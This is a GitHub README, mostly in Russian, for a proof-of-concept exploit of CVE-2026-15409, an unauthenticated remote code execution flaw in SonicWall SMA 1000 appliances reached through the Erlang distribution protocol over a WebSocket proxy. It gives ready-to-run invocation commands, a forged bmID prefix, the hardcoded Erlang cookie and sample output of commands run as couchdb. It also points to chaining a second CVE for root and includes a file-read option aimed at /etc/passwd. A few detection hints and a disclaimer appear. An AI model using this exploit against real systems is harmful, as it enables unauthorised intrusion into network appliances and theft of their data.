
Proof-of-Concept exploit for CVE-2026-15409 (SonicWall SMA 1000 RCE) via Erlang distribution over WebSocket. Achieves unauthenticated remote code execution as couchdb user.
Эксплойт Proof-of-Concept для CVE-2026-15409 – неаутентифицированное удалённое выполнение кода на устройствах серии SonicWall SMA 1000 через протокол распределения Erlang, туннелируемый через WebSocket.
CVE-2026-15409 – это критическая уязвимость, затрагивающая устройства SonicWall SMA 1000 (версии до июньского исправления 2026 года). Недостаток кроется в службе WorkPlace (обычно доступной на порту 443), которая проксирует WebSocket-соединения к внутренним узлам Erlang. Подделав действительный параметр bmID и используя жёстко заданный cookie Erlang, атакующий может установить аутентифицированный канал распределения и выполнять произвольные системные команды от имени пользователя couchdb (или других учётных записей с низкими привилегиями) через RPC-вызовы к os:cmd/1.
Этот репозиторий предоставляет полностью функциональный PoC, автоматизирующий всю цепочку эксплуатации – от WebSocket-рукопожатия до выполнения произвольных команд – с чистым интерфейсом, расширенной обработкой ошибок и наглядным логированием.
wss:// с использованием конечной точки wsproxy.os:cmd/1; можно читать файлы через file:read_file/1 или проверять связь с помощью erlang:node/0.bmID (при условии, что они начинаются с -3389) и различные значения serviceType.[+], [*], [-], [!] для удобного мониторинга.Уязвимость обусловлена следующими недостатками проектирования в SMA 1000:
/wsproxy пересылает бинарные WebSocket-сообщения на локальный порт распределения Erlang (по умолчанию localhost:1050) без надлежащей аутентификации или авторизации.[email protected] прослушивает порт 1050 и принимает соединения от WebSocket-прокси, что делает его доступным из сети.rex, которая может выполнять произвольные функции на узле, включая os:cmd/1.ex_sra_vm_12.5.0-02002.ova).couchdb (UID 1010, группа daemon).file:read_file/1.websockets (установка через pip install websockets).git clone https://github.com/Ch4120N/CVE-2026-15409.git
cd CVE-2026-15409
pip install -r requirements.txt # websockets
python3 cve-2026-15409.py \
--ws-url 'wss://TARGET_IP/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' \
--ws-user-agent 'SMA Connect Agent' \
--ws-insecure-tls \
--exec 'whoami && id && pwd && hostname'
░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▄▀▀░░░░░▀█░░█▀▀░█░█░▄▀▄░▄▀▄
░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░█▀▄░▄▄▄░░█░░▀▀▄░░▀█░█/█░░▀█
░▀▀▀░░▀░░▀▀▀░░░░░▀▀▀░░▀░░▀▀▀░░▀░░░░░░▀▀▀░▀▀░░░░▀░░▀░░▀▀░
[CVE-2026-15409]
Erlang Distribution RCE via WebSocket Proxy
Owner: Ch4120N
[ * ] Connecting via WebSocket to wss://192.168.56.102/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050
[ * ] Preparing RPC: os:cmd('whoami && id && pwd && hostname')
[ + ] Authenticated to [email protected]
[ * ] Calling os:cmd/1 ...
[ + ] RPC call completed
[ * ] Peer name: [email protected]
[ * ] Peer flags: 0xd07df7fbd
[ * ] Peer creation: 1784069352
[ + ] Command output:
couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
Cookie Erlang, используемый в эксплойте:
10ecad5b446e86864832904cd439b6b70262
Это значение одинаково на всех протестированных устройствах SMA и жёстко задано в процессе Erlang на localhost:1050. Оно не является тем же самым, что и пользовательский cookie для кластеризации.
bmIDПараметр bmID должен начинаться с -3389 (например, -3389c1b25ccd). Допускаются произвольные значения после префикса, поэтому сигнатурное обнаружение не должно полагаться на фиксированный хеш.
Хотя в примере используется serviceType=SSH, другие значения, такие как TELNET, также работают. Эксплойт не зависит от типа службы.
Порт 1050 является внутренним портом по умолчанию, однако в реальных атаках наблюдалось нацеливание и на порт 8188. Эксплойт может быть адаптирован к любому порту, на котором доступен протокол распределения Erlang.
После получения оболочки от имени couchdb атакующий может использовать CVE-2026-15410 – XML‑RPC path traversal, позволяющий удалить исправление и затем повысить привилегии до root.
/wsproxy с bmID, начинающимся с -3389.couchdb (например, bash, python, nc)./var/tmp/ пользователем couchdb.Этот проект распространяется под лицензией MIT – подробности см. в файле LICENSE.
Отказ от ответственности: Этот инструмент предназначен только для образовательных целей и авторизованного тестирования. Автор и участники не несут ответственности за любое неправомерное использование или ущерб, причинённый данным программным обеспечением.
Если вы нашли этот PoC полезным, пожалуйста, поставьте ему ⭐ на GitHub и делитесь им ответственно. Приветствуются ваши вклады, issues и pull request'ы!
Удачного хакинга! 🛡️
| Аргумент | Описание |
|---|
--host, --port | TCP-запасной вариант (если WebSocket не используется) |
--cookie | Переопределить cookie по умолчанию |
--name | Пользовательское имя локального узла Erlang |
--ws-origin | Установить заголовок Origin для WebSocket |
--ws-user-agent | Строка User‑Agent (по умолчанию: SMA Connect Agent) |
--ws-insecure-tls | Отключить проверку TLS (самоподписанные сертификаты) |
--read-file | Прочитать файл с целевого устройства (например, /etc/passwd) |
--rpc | Просто проверить соединение вызовом erlang:node/0 |